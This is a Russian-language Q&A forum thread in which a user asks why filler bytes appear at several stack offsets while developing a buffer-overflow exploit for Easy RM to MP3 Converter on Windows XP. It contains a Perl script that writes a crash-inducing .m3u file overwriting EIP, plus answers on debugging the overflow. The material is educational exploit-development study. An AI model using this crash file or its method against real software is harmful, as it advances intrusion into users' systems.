Разработка Shellcode, ESP указатель - PullRequest
0 голосов
/ 22 марта 2012

Некоторое время назад, работая над эксплойтом для Easy RM в MP3 Converter 2.7.3.700 в Windows XP SP3 (http://www.exploit -db.com / exploits / 9177 / ), я наткнулся на концепцию, которая Я не понимаю, это выглядит так:

Perl-скрипт для создания вредоносного файла:

my $junk = "\x41" x 25000;
my $offset = "\x42" x 1072;
my $eip = "\x43" x 4;
my $file = "crash.m3u";
open ($file,">$file");
print $file $junk.$offset.$eip.$adjustment;
close ($file);

после генерации вредоносного файла передайте его в конвертер, и они проанализируют содержимое стека в [esp + 18] (обращаясь к esp) ... почему эти A здесь?

Я имею в виду:

А начинается с [ESP-88E8] до [ESP-43C]
B начинается с [ESP-438] до [ESP-C]
C на [ESP-8]

тогда почему эти А снова находятся в [ESP + 18] до [ESP + 418]? почему эти А повторяются в [ESP + 18] до [ESP + 418], когда они уже были размещены из [ESP-88E8] в [ESP-43C] .. ??

Спасибо.

Ответы [ 2 ]

2 голосов
/ 10 ноября 2012

они есть для заполнения буфера мусором, а остальные 1700+ байтов генерируются с использованием metasploit для получения адреса при перезаписи EIP.Итак, вам нужно определить, сколько байтов вам потребуется, чтобы вызвать переполнение буфера, так как они отличаются ОС от ОС и так далее.

ДОПОЛНИТЕЛЬНО: Итак, сделайте это, и вы установите точку останова там, где это требуется, и получите адрес EIP

0 голосов
/ 10 апреля 2012

Итак, чтобы ответить на ваш вопрос, вам нужно немного больше отладить в Easy RM to MP3 Converter, попробуйте установить более ранние точки останова. Я подозреваю, что переполнение происходит не сразу и, вероятно, копируется несколько раз, прежде чем оно перезаписывает статический буфер. :)

...